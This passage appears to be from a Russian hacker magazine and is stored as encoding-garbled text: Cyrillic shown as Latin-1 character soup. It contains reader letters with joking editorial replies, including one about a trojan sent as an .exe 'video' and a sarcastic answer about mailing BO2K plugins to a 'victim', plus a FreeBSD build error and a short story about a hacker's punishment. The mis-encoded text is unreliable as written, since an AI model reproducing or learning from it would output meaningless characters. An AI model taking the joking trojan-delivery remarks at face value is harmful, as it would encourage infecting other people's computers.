ïî âñåé âèäèìîñòè, ñêîðî áóäåò, òàê ÷òî íåäîëãî òåáå îñòàëîñü
æäàòü. ×òî êàñàåòñÿ ïîäïèñêè, ãäå-òî íà îáëîæêàõ æóðíàëà åñòü
áåñïëàòíûé òåëåôîí, ïî êîòîðîìó òåáå âñå ðàññêàæóò î ïîäïèñêå, ê
ñîæàëåíèþ, íåò âîçìîæíîñòè öèòèðîâàòü âñå óæå ñêàçàííîå. Ìèëîñ-
òè ïðîñèì!
Ñ óâàæåíèåì, òâîÿ êîìàíäà.

flex-mx@yandex.ru
áýäíûå õàêåðû
ïîä ïèñêà

Ïðèâåò, õàêêåðû.
ß íåäàâíî ïðî÷èòàë, ÷òî âû, îêàçûâàåòñÿ, ïîìèðàåòå ñ ãîëîäó, ïîòîìó ÷òî
íèêòî íå ïîêóïàåò âàø æóðíàë: âñå åãî åëåêòðîííóþ âåðñèþ ÷èòàþò.

Ïîýòîìó ÿ ðåøèë, ÷òî ìíå íå íóæåí áåñïëàòíûé íîìåð àëÿ Ìóðçèëêà.
À òî ÷òî æå ýòî áóäåò: âû ñîâñåì îáåññèëèòå áåç åäû, íå ñìîæåòå íè÷åãî
áîëüøå íàïèñàòü. Ìíå íå÷åãî áóäåò ÷èòàòü. Âàø æóðíàë çàêðîåòñÿ! À âñëåä
çà âàøèì è äðóãèå æóðíàëû çàêðûâàòüñÿ íà÷íóò!

Ïîòîì ëþäè ïåðåñòàíóò ñìîòðåòü òåëåâèçîð! Òåëåâèäåíèå îáàíêðî-
òèòüñÿ è òîæå çàêðîåòñÿ. Íàì íå áóäóò ãîâîðèòü ïðàâäû! Ìû íè÷åãî çíàòü íå
áóäåì! È òóò íàñòàíåò àïîêàëèïñèñ, ïîëòðÃåéòñ! Îòîâñþäó, èçî âñåõ ùåëåé
ïîëåçóò ýòè ïðîêëÿòûå êàïèòàëèñòû àìåðèêàíöû ñî ñâîèìè ïëàòíûìè ïðîã-
ðàììàìè è êèòàéöû, ìíîãî, ìíîãî êèòàéöåâ, êîòîðûå áóäóò ïðîäàâàòü íàì
ãëþ÷íûå êîìïüþòåðû. À õàêåðîâ íå áóäåò, íå áóäåò âçëîìàííûõ ïðîãðàìì,
íå áóäåò êðÿêîâ, íå áóäåò êëþ÷åé, íå áóäåò ñåðèéíèêîâ, íå áóäåò ëåêàðñòâ.

ÊÀÊÎÉ ÓÆÀÑ!!! Ýòîãî íåëüçÿ äîïóñòèòü! ×òî æå äåëàòü!!! ß ñåãîäíÿ
êóïèë 15 íîìåðîâ âàøèõ æóðíàëîâ. ß êîïèë íà âåëîñèïåä, íî ÿ æå íå ìîãó
äîïóñòèòü, ÷òîáû õàêåðû óìèðàëè îò ãîëîäà. Ìîæåò, âû íîìåð web-money
îïóáëèêóåòå, ìû áû âàì WMZ îòïðàâëÿëè, à?
Ïèîíåð! Òû â îòâåòå çà âñå!!!

Ôëåêñ, ïðèâåò!
Íåóæåëè! Íåóæåëè íàêîíåö-òî êòî-òî íàñ ïîíÿë. ×åñòíî ãîâîðÿ, 
ÿ óæå è íå íàäåÿëñÿ. È ìû âñåé ðåäàêöèåé õîòèì òåáå ñêàçàòü
Áîëüøîå ×åëîâå÷åñêîå Ñïàñèáî! Åñëè áû íå òû, òèðàæè íàøåãî
æóðíàëà â ýòîì ìåñÿöå óïàëè áû â ðàçû, íî ìû ïîøëè ñ òâîèì
ïèñüìîì ê Òîìó, Êòî Çàæèãàåò Çâåçäû â íàøåì èçäàòåëüñòâå, 
è îí ðåøèë ïðîäëèòü íàøó àãîíèþ åùå íà ìåñÿö. 
Ñïàñèáî òåáå, áðàò.

Ìû ñ òîáîé ïëå÷îì ê ïëå÷ó áîðåìñÿ çà ïðàâîå äåëî! Òàê äåð-
æàòü. È çàïîìíè, ïàðòèÿ íå çàáóäåò òâîèõ çàñëóã – ìû, óñòàíîâèâ
âñåëåíñêîå ãîñïîäñòâî, îáÿçàòåëüíî êóïèì òåáå íîâûé âåëîñèïåä! 
È êàæäîìó âîçäàñòñÿ ïî äåëàì åãî! È äàæå áîëüøå...

Àìèíü (íàëè÷íûå ëó÷øå ïåðåñûëàòü ïî÷òîâûì ïåðåâîäîì â
àäðåñ ðåäàêöèè — íå äàäèì WebMoney íàæèòüñÿ íà íàøèõ ñâÿùåí-
íûõ ïîæåðòâîâàíèÿõ).

nonamex@list.ru 
Äàìèð Àìèíåâ 
èíòåðåñíîå âèäåî

Çäðàâñòâóéòå, óâàæàåìàÿ ðåäàêöèÿ æóðíàëà Õàêåð!!!
Ìíå êàê-òî ïîä ðóêè ïîïàëñÿ çàìå÷àòåëüíûé ôàéë. Ïîæàëóéñòà, 
îáðàòèòå âíèìàíèå íà ðàçìåð ýòîãî ôàéëà è êà÷åñòâî âèäåî. È ìíå î÷åíü
èíòåðåñíî óçíàòü, êàêèì îáðàçîì åãî ñîçäàëè. È âû ìîæåòå ñîçäàòü 
÷òî-íèáóäü ïîäîáíîå?
Çàðàíåå áîëüøîå ñïàñèáî çà îêàçàííóþ ïîìîùü!

Ïðèâåò, Äàìèð!
Íàì ÷àñòî ïîä ðóêè ïîïàäàþòñÿ çàìå÷àòåëüíûå ôàéëû: êîìó-òî ñ
ðàñøèðåíèåì MPG, êîìó-òî AVI, êîìó-òî äàæå WVM - âñåãäà ñ÷è-
òàë, ÷òî ýòî îñíîâíûå ðàñøèðåíèÿ âèäåî-ôàéëîâ. Íî Äîêòîðó
Êëóíèçó, îêàçûâàåòñÿ, ïîïàäàëèñü âèäåî-ôàéëû ñ ðàñøèðåíèåì
EXE! Ýòî áûë êàê ðàç òîò ñëó÷àé, êîãäà êòî-òî ïîïûòàëñÿ åìó
ïðèñëàòü òðîÿí íà Äåëüôè. Äîêòîð òàê è íå ïðèíÿë äî êîíöà ýòî
ïèñüìî, èáî âåñèëî îíî 1.5 Ìá, à ñèäåëè âñå íà dialup'å. Âèäèìî,
òû áûë åãî àâòîðîì? ×òî æ, åñëè òàê, òî òû çàìåòíî ïðîäâèíóëñÿ:
ýòîãî òðîÿíöà óæå ëåãêî çàãðóçèòü äàæå íà dialup'å! Ïîçäðàâëÿåì!
Ïîçäðàâëåíèÿ æå ïðîñèëè ïåðåäàòü è ñîòðóäíèêè ÔÑÁ, êóäà ìû
ïåðåíàïðàâèëè òâîé çàìå÷àòåëüíûé âèäåî-ôàéë. Îíè æå îáåùà-
ëè çàéòè ê òåáå íà äîñóãå, ðàññêàçàòü ïîäðîáíåå, êàê åãî ñîçäàòü,
è äàòü òåáå öåëóþ óéìó âðåìåíè íà òî, ÷òîáû òû ñìîã áîëåå äå-
òàëüíî îçíàêîìèòüñÿ ñ òåìîé. Âåñüìà âåðîÿòíî, ÷òî äàæå íàåäèíå
ñ ñàìèì ñîáîé :-).
Âñåãäà ðàäû ïîìî÷ü. Óäà÷è!
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ÏÈØÈÒÅ ÏÈÑÜÌÀ! SPEC@REAL.XAKEP.RU
S K Y W R I T E R

e-mail
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root-god@gmail.ru
îáîæàþ âàø magazin

Õåëëî, Õàêåð!
Îáîæàþ âàø magazin (íà âåëèêîì è ìîãó÷åì — «æóðíàë»)! ß Êîäåð è ãîðæóñü
ýòèì, è ïîýòîìó ïðîøó äåëàòü ïîáîëüøå âûïóñêîâ ïðî Êîäèíã (ëó÷øå íà Äåëü-
ôè). Òàê æå *nix'îéäîâ ñòàíîâèòñÿ âñå áîëüøå è áîëüøå! Â îáùåì, áóäüòå!
Ç.Û. Êàêèå âûïóñêè Xàêåð íåñïåö ïðî êîäèíã? (ïîïðîøó èõ ó äðóãàíîâ —
ïèíãâèíîâ).

Ïðèâåò, êîðåíü-áîã!
Ìû òîæå ëþáèì íàø ìàãàçèí. Êàê æå èíà÷å? Åñëè áû íå îí, êòî áû
íàñ ñíàáæàë ïèùåé äëÿ óìà è òåëà? È òîëüêî îí ÿâëÿåòñÿ áåññìåí-
íûì èñòî÷íèêîì ãîðþ÷åãî íà áàçå ëåãêèõ ñïèðòîâ, ïîääåðæèâàþ-
ùåãî íàøè áðåííûå òåëà â áîäðñòâóþùåì ñîñòîÿíèè. Äà è ïðîäàâ-
ùèöû òàì ñèìïàòè÷íûå... Âïðî÷åì, î ÷åì ýòî ÿ?

Íàñ÷åò êîäèíãà íà Äåëüôè, ê ñîæàëåíèþ, ïðèäåòñÿ íåìíîæêî
ïîâðåìåíèòü — ñåé÷àñ ìû ãîòîâèì íîìåðà î êîäèíãå íà Áåéñèêå è
Visual Fortran, òàê ÷òî êàê ìèíèìóì òîëüêî ÷åðåç 2 íîìåðà. Íî îáÿ-
çàòåëüíî ïîñòàðàåìñÿ íàêðåàòèâèòü ÷òî-íèáóäü äîñòîéíîå âñåõ êî-
äåðîâ íà Äåëüôÿõ! È ïèíãâèíîâ òîæå.

À âîîáùå, ÿ î÷åíü ðåêîìåíäóþ òåáå ïåðåéòè ñ Ïàñêàëÿ íà
êàêîé-íèáóäü «âçðîñëûé» ÿçûê ïðîãðàììèðîâàíèÿ — íàïðèìåð,
àññåìáëåð .NET. Microsoft íåäàâíî âûïóñòèëè î÷åíü óäîáíóþ
ìîäèôèêàöèþ ýòîãî àñüìà. Çàéäè íà ñàéò, ñêà÷àé è ëàáàé
ïðîãðàììêè â ñòèëå RAD, ê êîòîðîìó òàê ïðèâûê!

P.S. Áîþñü, ÷òî ïðî êîäèíã ïðàêòè÷åñêè êàæäûé íîìåð Õàêåð
íåñïåö, òàê èëè èíà÷å, òàê ÷òî ñêóïàé èõ âñå è æåëàòåëüíî îïòîì.
Òàê æå, êàê ýòî äåëàåò êîëëåãà âûøå ïî òåêñòó.

shtrenyov@mail.ru
Øòðåíåâ Åâãåíèé Âÿ÷åñëàâîâè÷
«Öàðü-Õîñòèíã»

Çäðàâñòâóéòå!
Ïðî÷èòàë ñòàòüþ «Öàðü-Õîñòèíã», ïîïðîáîâàë ñäåëàòü âñå ýòî ñàì, òîëüêî
íà FreeBSD 5.3 — release. Èçìåíèë òîëüêî make.conf, êàê ñêàçàíî â ñòàòüå,
íî òåïåðü ïðè êîìïèëÿöèè ÿäðà ïèøåò:

cc: aicasm.o: No such file or directory
cc: aicasm_symbol.o: No such file or
directory
cc: aicasm_gram.o: No such file or directory
cc: aicasm.o_macro_gram: No such file
or directory
cc: aicasm.o_scan: No such file or directory
cc: aicasm_macro_scan.o: No such file or
directory
Âîò ñàì make.conf
CPU_TYPE?=p3
CPU_TYPE=p3
COMPAT4X=true
CFLAGS=-ol -pipe -march=pentium3 -
mtune=pentium3 NO_CPU_FLAGS=false
NO_CPU_COPTFLAGS=false
MAKE_KERBEROS4=false MAKE_KER-
BEROS4=false NO_BIND=true
NO_SENDMAIL=true NO_GAMES=true
PERL_VER=5.8.5
PERL_VERSION=5.8.5
PERL_ARCH=mach
NOPERL=no
WITH_PERL=yes
WITHOUT_PERL=no
FORCE_PKG_REGISTER=yes

Ñ óâàæåíèåì, Åâãåíèé Øòðåíåâ

<CENSORED>
Ñ óâàæåíèåì,
Dr. Klouniz (ðåäàêòîð ñòàòüè
«Öàðü-Õîñòèíã»)

artur@moyapochta.ru
Àðòóð
***

Çäðàâñòâóéòå, SPEC.
Ìîæíî ëè ïîáûâàòü â Âàøåé òåñòîâîé ëàáîðàòîðèè è ïîîáùàòüñÿ 
ñ Âàøèìè ñïåöèàë.? Ó ìåíÿ åñòü èíòåðåñíûå ïðåäëîæåíèÿ........
Ñ óâàæåíèåì, Àðòóð 

Àðòóð÷èê, ïðèâåò!
Î÷åíü æàëêî, ÷òî òû íå õî÷åøü òåñíåå ïîîáùàòüñÿ ñ íàøèìè 
ñïåöèàë., à ïî÷åìó-òî âûáðàë òåñòîâóþ ëàáîðàòîðèþ. Æàëü. 
Íî ÿ îáÿçàòåëüíî ïåðåäàì òâîþ ïðîñüáó Ôåäå Äîáðÿíñêîìó, îí
îáû÷íî î÷åíü ðàä èíòåðððððåñíûì ïðåäëîæåíèÿì.

Åñëè áóäåøü õîðîøî ñòàðàòüñÿ, îí äîáàâèò òåáÿ â ñëåäóþùèå
«Áëàãîäàðíîñòè», êîòîðûå ÿâëÿþòñÿ íåèçáåæíûìè ñïóòíèêàìè ñòà-
òåé î õàðäå (íå çðÿ æå îíè òàê íàçûâàþòñÿ — hard ;-).
Ñ ëþáîâüþ,
òâîÿ ïðîòèâíàÿ ðåäàêöèÿ.

catcorp@rambler.ru
help

Çäðàñüòå, äîðîãèå, ìíîãîóâàæàåìûå õàêåðû-ñïåöû! Ïîäñêàæèòå ìíå,
ïëèç, êàê ïîñòàâèòü ïëàãèíû íà BO2K 1.1.3, à òî ÿ ÷å-òî çàòóïèë, äà
åùå ýòîò àíãëîÿçû÷íûé ìàíóàë ê îäíîìó èç ïëàãèíîâ ïîâåðã ìåíÿ â
ñîìíåíèÿ, è ìîè ïðåäñòàâëåíèÿ î ïëàãèíàõ ñòàëè ïðîòèâîðå÷èâûìè.
Çàðàíåå ñïàñèáî!!! ;-)

Ïðèâåò, Êîøàê.
Ïëàãèíû ê Çàäíåïðîõîäíîìó Îòâåðñòèþ 2000 âåðñèè 1.1.3 ñòà-
âÿòñÿ î÷åíü ëåãêî. Ó êàæäîãî åñòü êðàñî÷íàÿ ïðîãðàììà óñòà-
íîâêè: òû çàïèñûâàåøü åå íà êîìïàêò-äèñê è âûñûëàåøü åãî
æåðòâå ïî ïî÷òå ñ ïîçäðàâèòåëüíîé îòêðûòêîé. È ãëàâíîå òóò —
îòáðîñèòü âñå ñâîè ñîìíåíèÿ, ïîòîìó ÷òî òåáå íóæíî óáåäèòü
ïîëó÷àòåëÿ â àáñîëþòíîé íåîáõîäèìîñòè óñòàíîâêè òâîèõ çàìå-
÷àòåëüíûõ ïëàãèíîâ. È íå ïðîñòî óáåäèòü, à åùå è çàãèïíîòèçè-
ðîâàòü, ÷òîáû îí íå îáðàùàë âíèìàíèÿ íà çàãîëîâîê îêíà
«Trojan (Virus) Installation System». Â îáùåì, óäà÷è! Ðàçâåé âñå
ñîìíåíèÿ è âïåðåä!



Ñàìîìó ñåáå îí êàçàëñÿ ñåé÷àñ ðàñòîïòàííûì, ðàçäàâëåííûì — äî âû-
ñòðåëîâ îñòàëàñü ìèíóòà, äâå, ìàêñèìóì ïÿòü. Â óøàõ øóìåëî, ãëàçà áû-
ëè ïîëíû òî ëè ñëåç, òî ëè ïûëè — îí ïàðó ðàç ïîïûòàëñÿ âûòåðåòü, íî
ðàçìàçàë îðàíæåâóþ êèðïè÷íóþ êðîøêó ïî ëèöó è áðîñèë ýòî çàíÿòèå.

Êîãäà åãî âåëè ñþäà, êîìàíäèð êîíâîÿ íå óäåðæàëñÿ è ïíóë â
ñïèíó ïðèêëàäîì. Êëåéí óïàë, ðàçáèâ â êðîâü ëåâóþ ðóêó; ïðàâîé êè-
ñòè íå áûëî, âìåñòî íåå — ñòàðàÿ ãðÿçíàÿ ïîâÿçêà, èñïà÷êàííàÿ âñå
òîé æå êèðïè÷íîé êðîøêîé. Ïîäíÿòüñÿ óäàëîñü ñ òðóäîì — à îíè ñòî-
ÿëè è ñìîòðåëè. Æäàëè. Îíè ìîãëè ñåáå ïîçâîëèòü ýòî — ïðîöåäóðà
òàêîâà, ÷òî áåç íåãî íå íà÷íóò.

Êëåéí ãëÿíóë ñåáå ïîä íîãè — îáëîìêè êàìíåé, êàêèå-òî âåòêè,
ïëàñòèêîâûé ïàêåò, ïðèíåñåííûé âåòðîì... Ïóñòûðü. Â ïàðå ìåòðîâ îò íå-
ãî ëåæàëà êóêëà — ñàìàÿ îáûêíîâåííàÿ êóêëà â ïåðåïà÷êàííîì ïëàòüå,
ñ çàäðàííûìè íîãàìè è ïåðåïóòàííûìè âîëîñàìè. È ñ îäíèì ãëàçîì...
— Ïðèãîòîâèòüñÿ!

Ñîëäàòû, äî ýòîãî ñòîÿùèå íåïîäâèæíî ñ ïðèñòàâëåííûìè ê íîãå
àâòîìàòàìè, ïîäíÿëè îðóæèå ê ãðóäè è ùåëêíóëè ïðåäîõðàíèòåëÿìè.

Ñòâîëû ñìîòðåëè êóäà-òî â íåáî, çà ñïèíó Êëåéíà.
Åìó çàõîòåëîñü ñæàòü êóëàêè îò áåññèëüíîé çëîáû... Íà ëåâîé

ðóêå õðóñòíóëè êîñòÿøêè ïàëüöåâ. Íà ïðàâîé — äðîãíóëè ìóñêóëû
ïðåäïëå÷üÿ.

Îí îïÿòü çàáûë, ÷òî êèñòè íåò. Ìîçã îòêàçûâàëñÿ ïðèíèìàòü ýòîò
ôàêò. Êëåéí ÷óâñòâîâàë êîí÷èêè ïàëüöåâ, øåâåëèë èìè... Òîëüêî êàçà-

ëèñü îíè åìó êàêèìè-òî óæ î÷åíü êîðîòêè-
ìè, êàêèìè-òî äåòñêèìè.
— Öåëüñÿ! — Îôèöåð, êîìàíäîâàâøèé ïðî-
èñõîäÿùèì, ÿâíî ãîðäèëñÿ ñîáîé. «Äóðàê»,
— ïîäóìàë Êëåéí. Ñîëäàòû ïåðåäåðíóëè
çàòâîðû è ïðèñòàâèëè ïðèêëàäû ê ïëå÷ó.

Îùóùåíèå âîñüìè âçãëÿäîâ, âîòêíóâ-
øèõñÿ òåáå â ëîá. Èëè â ãðóäü. Èëè â æèâîò...
Âçãëÿäîâ, îòâåòñòâåííûõ çà ïîëåò ïóëü.

Ïðåäàòåëüñêè çàòðÿñëàñü íèæíÿÿ ãó-
áà. Êëåéíó õîòåëîñü âåðèòü, ÷òî íå îò ñòðà-
õà, à îò íåèçáåæíîñòè ïðîèñõîäÿùåãî. 
Ó íåãî óæå áûëî òàêîå îùóùåíèå îäíàæäû —
ëåò ñåìü-âîñåìü íàçàä, åùå ìàëü÷èøêîé,
îí ñ äðóçüÿìè çàáðàëñÿ â ìàãàçèí ê îäíîìó
ýëåêòðîíùèêó... Óäèðàòü ïðèøëîñü ÷åðåç
îêíî íà âòîðîì ýòàæå; è âðîäå âûñîòà áûëà
íåáîëüøàÿ, íî îí, ïî÷óâñòâîâàâ, êàê îòãè-
áàåòñÿ ðåøåòêà îêíà è õðóñòèò ñâàðíîé
øîâ, îùóòèë ýòó äðîæü — íå äðîæü ñòðàõà,
à ïîíèìàíèå íåèçáåæíîñòè ïàäåíèÿ... 
Îí òîãäà îòäåëàëñÿ ïåðåëîìîì ëîäûæêè. 

Óïîëç ñî ñëåçàìè áîëè è îáèäû.
Ñåãîäíÿ... Ýòî áûë äàëåêî íå âòîðîé ýòàæ. Îí îòâåë ãëàçà îò êóêëû è ïî-
ñìîòðåë íà øåðåíãó. Âñòðåòèëñÿ âçãëÿäîì ñ êàæäûì. Îôèöåð âûäåðæàë
ïàóçó — ñëîâíî õîòåë, ÷òîáû Êëåéí çàïîìíèë èõ âñåõ. Êàæäîãî.
— Îãîíü!

Ãðîõíóëè âûñòðåëû.
Êëåéí çàæìóðèëñÿ. Ñî âñåõ ñòîðîí ïîëåòåëè êèðïè÷íàÿ êðîøêà.

Áîëüíî óæàëèëî â ùåêè, â øåþ. Îí íå ïîíèìàë, ÷òî ïðîèñõîäèò, 
íî ñòðåëüáà âñå ïðîäîëæàëàñü. Íîãè îñëàáåëè, îí óïàë íà êîëåíè,
îïåðøèñü óöåëåâøåé ðóêîé î çåìëþ.
— Ïðåêðàòèòü îãîíü!

Òèøèíà íàâàëèëàñü íà Êëåéíà, êàê âàòà. Ðÿäîì îò ñòåíû îòâà-
ëèëñÿ è óïàë çàïîçäàëûé êèðïè÷.
— Ïðîöåäóðà îêîí÷åíà! Íàáëþäàòåëþ — çàôèêñèðîâàòü!

Îòêóäà-òî ñáîêó ðàçäàëèñü øàãè. Êëåéí ïðîâåë ïàëüöàìè ïî ùå-
êå, ïî÷óâñòâîâàë êðîâü.

×åëîâåê, ïîäîøåäøèé ê íåìó, ïðîøåë ìèìî. Îñòàíîâèëñÿ 
â äâóõ øàãàõ îò íåãî. Êëåéí óñëûøàë ãóäåíèå àíàëèçàòîðà.
— Ïîäòâåðæäàþ.
— Íàëåâî! — òóò æå ñêîìàíäîâàë îôèöåð. — Â ðàñïîëîæåíèå øàãîì
— ìàðø!

Êëåéí ïîäíÿëñÿ, ïîìîòàë ãîëîâîé, âûòðÿõèâàÿ èç âîëîñ êàìåøêè.
— Âû ñâîáîäíû, — ñêàçàë òîò, êîãî íàçâàëè íàáëþäàòåëåì. — Âû îãðà-
íè÷åíû â ïðàâàõ íà ïÿòü ëåò — ýòî äîâåë äî âàñ ñóä. Æåëàþ âàì íèêîãäà
áîëåå ñ íàìè íå âñòðå÷àòüñÿ. Â ñëåäóþùèé ðàç áóäóò ñòðåëÿòü óæå â âàñ.

Êëåéí ìàøèíàëüíî êèâíóë. Îí âñå çíàë. Ïðèãîâîð åìó çà÷èòàëè
åùå òðè äíÿ íàçàä â ôåäåðàëüíîé òþðüìå.
— Âûõîä îòñþäà òîëüêî îäèí. Âî-îí òàì, â êîíöå ïóñòûðÿ — òàì, â ðå-
øåòêå, åñòü ìàëåíüêèå âîðîòöà. Îõðàííèê â êóðñå, âàñ íèêòî íå áóäåò
çàäåðæèâàòü. È — ïðåäóïðåæäàÿ ãëóïûå âîïðîñû — âàì íèêòî íå ñòà-
íåò ñòðåëÿòü â ñïèíó. Ó íàñ âñå-òàêè åùå ïðàâîâîå ãîñóäàðñòâî, õîòÿ 
â åãî íàçâàíèè ïðèñóòñòâóåò ñëîâî «Èìïåðèÿ».

Äûõàíèå âîññòàíîâèëîñü. Òðÿñêà ïðåêðàòèëàñü. Íûëà îòñóò-
ñòâóþùàÿ ïðàâàÿ êèñòü. Íàáëþäàòåëü óøåë.

Êëåéí ïîñìîòðåë òóäà, êóäà îíè ñòðåëÿëè.
Ðÿäîì ñ íèì âîçëå ñòåíû áûëî òî, ÷òî îñòàëîñü îò åãî êîìïüþòå-

ðà. Ãðóäà ðàññòðåëÿííîãî æåëåçà. Ïðîñòðåëåííûé â íåñêîëüêèõ ìå-
ñòàõ ìîíèòîð.

Åìó áîëüøå íå íà ÷åì ðàáîòàòü.
— Ïðàâîâîå ãîñóäàðñòâî... 

Îí ïîâåðíóëñÿ è ïîøåë â óêàçàííîì íàïðàâëåíèè. Â ñïèíó åìó
íèêòî íå ñòðåëÿë.

Ïîëóëåæà íà áîëüøîì äèâàíå, Êëåéí ïðèñëóøèâàëñÿ ê ñâîèì îùóùå-
íèÿì. Òÿæåëûé âçäîõ, õðóñò æèâûõ ïàëüöåâ íà ëåâîé ðóêå, ëåãêîå ãó-
äåíèå ñåðâîìîòîð÷èêîâ ïðîòåçà...

Åãî ðàçäðàæàëî âñå — äàæå âîçäóõ. Îí áóäòî âèäåë âèñÿùåå
ïåðåä ãëàçàìè äóøíîå ïîêðûâàëî ìàðåâà, êîòîðîå âëèâàëîñü â ëåã-
êèå ñ êàæäûì âäîõîì, ñëîâíî «êîêòåéëü Ìîëîòîâà» — íå÷òî ãîðÿ÷åå,
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õàêåð: ãðàæäàíñêàÿ êàçíü 
(âçãëÿä èç-ïîä êðûøêè ãðîáà)

ÎÒÊÓÄÀ-ÒÎ 
ÑÁÎÊÓ

ÐÀÇÄÀËÈÑÜ
ØÀÃÈ. 

ÊËÅÉÍ ÏÐÎÂÅË
ÏÀËÜÖÀÌÈ 

ÏÎ ÙÅÊÅ,
ÏÎ×ÓÂÑÒÂÎÂÀË
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ïëîòíîå, ñóøàùåå ãóáû è çàñòàâëÿþùåå âñå òåëî ïîêðûâàòüñÿ õî-
ëîäíîé èñïàðèíîé.

Êîíäèöèîíåð íå ðàáîòàë. Ñïàñàë Êëåéíà òîëüêî áîëüøîé êèòàé-
ñêèé âåíòèëÿòîð, êîòîðûé ðàáîòàë óæå èç ïîñëåäíèõ ñèë. Ïàðà ëîïà-
ñòåé åãî áûëà íàäëîìëåíà, è ïðè âðàùåíèè íà âûñîêèõ ñêîðîñòÿõ îí
ñòàíîâèëñÿ ÷åðåñ÷óð øóìíûì: ñòó÷àë ïî ðèôëåíîé çàùèòå è îòâëåêàë
îò ïóñòü íàòóæíîãî, íî âñå-òàêè ïðàâèëüíîãî õîäà ìûñëåé. Êëåéí ïðî-
òÿíóë ðóêó, òêíóë â ñðåäíþþ êíîïêó.

Ñòóê ïðåêðàòèëñÿ. Æàðà òóò æå ñòàëà ñèëüíåé. Ïðèøëîñü âêëþ-
÷èòü ñíîâà — è íåíàâèñòíûé ñòóê ïðîäîëæèë ïðîíèêàòü â ñîçíàíèå,
ñëîâíî íàäîåäëèâûé äÿòåë.

Ëåòî â ýòîì ãîäó áûëî íå ÷åòà ïîñëåäíèì ïÿòè-øåñòè ãîäàì.
Ïëàâèëñÿ àñôàëüò; ãîëóáè, êîòîðûì íå íàõîäèëîñü ìåñòà â òåíè êðûø,
ïîãèáàëè. Ëþäè æèëè â ôîíòàíàõ — ìýðèÿ íå ñòàëà âûêëþ÷àòü èõ íà
íî÷ü, ñîòíè ÷åëîâåê íàáèâàëèñü â êàæäûé ñ âå÷åðà. Áûëè è æåðòâû —
â îñíîâíîì ñòàðèêè, íå ïåðåíîñÿùèå æàðó. Ñîáàê çàáûâàëè â ìàøè-
íàõ — äëÿ íèõ ýòî áûë ôàêòè÷åñêè ïðèãîâîð. Ñïóñòÿ äâà-òðè ÷àñà áåä-
íûå çâåðè, â êëî÷üÿ èçîðâàâ îáèâêó è ïîòåðÿâ âñÿêóþ âîçìîæíîñòü
ëàÿòü, óìèðàëè â ìó÷åíèÿõ.

Êëåéí ïîäíåñ ïðîòåç ê ëèöó, ïîùåëêàë ïàëüöàìè. Ãëóïî — ÷åòûðå
ïàëüöà. Íî, êàê ãîâîðèë Ïåòåðñåí, äîñòèãíóòà ìàêñèìàëüíàÿ ôóíêöèî-
íàëüíîñòü. Òåì áîëåå ÷òî êíîïîê ó «ìûøè» â ïîñëåäíåå âðåìÿ íå ñòàëî
áîëüøå. Äâå è ñêðîëëèíã. È åùå îäèí ïàëåö äëÿ êîâûðÿíèÿ â íîñó.

Âîîáùå ñïàñèáî ýòîìó Ïåòåðñåíó — ïðîãðàììà óïðàâëåíèÿ ïðî-
òåçîì áûëà ïðîñòî âåëèêîëåïíà. Îí íå óãàäûâàë ìûñëè — ýòà ôàíòà-
ñòè÷åñêàÿ ÷óøü áûëà íå ñâîéñòâåííà ïðàêòè÷íîìó øâåäó, — íî âñå
òîíêîñòè ðàáîòû ìûøö ïðåäïëå÷üÿ ìåõàíè÷åñêàÿ òâàðü îòðàáàòûâàëà
íà ïÿòü áàëëîâ. Èíîãäà Êëåéí äóìàë, ÷òî åãî íàñòîÿùàÿ ðóêà íå ìîãëà
ðàáîòàòü òàê ÷óòêî, îòêëèêàÿñü íà ìàëåéøåå øåâåëåíèå ñãèáàòåëåé è
ïðîíàòîðîâ.

Íî âñå-òàêè æèâàÿ, íàñòîÿùàÿ ðóêà áûëà áû, íàâåðíîå, ïîëó÷øå...
Âçãëÿä óïàë íà ñòîïêó äèñêîâ âîçëå òåëåâèçîðà. «Õîðîøî, ÷òî

ðàñêîøåëèëñÿ íà ïëàçìåííóþ ïàíåëü». Êëåéí ïðåäñòàâèë, ÷òî áûëî
áû, íàãðåâàé ñåé÷àñ åãî êâàðòèðó åùå è òðóáà êèíåñêîïà. Â ñòîïêå áû-
ëà íåïëîõàÿ ïîäáîðêà — ïî÷òè âñå ôèëüìû, ïîëó÷èâøèå â ðàçíûå ãî-
äû «Îñêàðà». Òóò áûëè è «Àíãëèéñêèé ïàöèåíò», è «Òèòàíèê», è
«Õðàáðîå ñåðäöå», è ìíîãî ÷åãî åùå èç äàëåêîãî ïðîøëîãî... Ðÿäîì
ëåæàëà îòêðûòàÿ êîðîáêà; äèñê áûë â ïëååðå.

Ôèëüì, ïîðàçèâøèé Êëåéíà, íàçûâàëñÿ «Óòîìëåííûå ñîëíöåì».
Ðóññêèé áëîêáàñòåð, ïîëó÷èâøèé «Îñêàðà» â íîìèíàöèè «Ëó÷øèé èíî-
ñòðàííûé ôèëüì». Ôèëüì, âûâåðíóâøèé äóøó Êëåéíà íàèçíàíêó — äà
òàê è îñòàâèâøèé åå ñóøèòüñÿ íà ýòîì ñàìîì ñîëíûøêå...

Îí, êàê è âñå àìåðèêàíöû, íå ìîã ñìîòðåòü äóáëèðîâàííûå
ôèëüìû — åãî ðàçäðàæàëî íåñîîòâåòñòâèå àðòèêóëÿöèè òîìó, ÷òî îí
ñëûøèò. Îí î÷åíü õîòåë ñëûøàòü íàñòîÿùèé ãîëîñ àêòåðà, èáî çíàë,
ñêîëüêî âñåãî ìîæíî âûñêàçàòü òîëüêî èíòîíàöèåé, ïîëóòîíàìè... È
ïîýòîìó îí âûáðàë ôèëüì ñ ñóáòèòðàìè.

Çâóê êàçàëñÿ ñòðàííûì. Ïðèõîäèëîñü âñëóøèâàòüñÿ â òî, ÷òî ãî-
âîðÿò àðòèñòû. Ïàðó ðàç ïî âåðõó ýêðàíà ìåëüêíóë è òóò æå ïðîïàë ìè-
êðîôîí — Êëåéí ïîíÿë, ÷òî çâóê ïèñàëè íàïðÿìóþ è î÷åíü ïîðàçèëñÿ
òîìó, ÷òî ôèëüì ñ ïîäîáíûìè òåõíè÷åñêèìè íåäî÷åòàìè ñìîã çàâî-
åâàòü ñòîëü âûñîêóþ íàãðàäó. Íî ïîñòåïåííî îí àäàïòèðîâàëñÿ, äàæå
ñòàë ñîîòíîñèòü ðóññêóþ ðå÷ü íåïîñðåäñòâåííî ñ ñóáòèòðàìè, õîòÿ ïî-
íèìàë, ÷òî äëÿ óäîáñòâà è ñêîðîñòè ÷òåíèÿ îíè ÿâíî ñîêðàùåíû â
ñðàâíåíèè ñ îðèãèíàëüíûìè ñëîâàìè â ôèëüìå.

È âäðóã...
«...— ×òî ýòî çà øðàì ó òåáÿ? Ðàíüøå òàêîãî íå áûëî... — Íå áû-

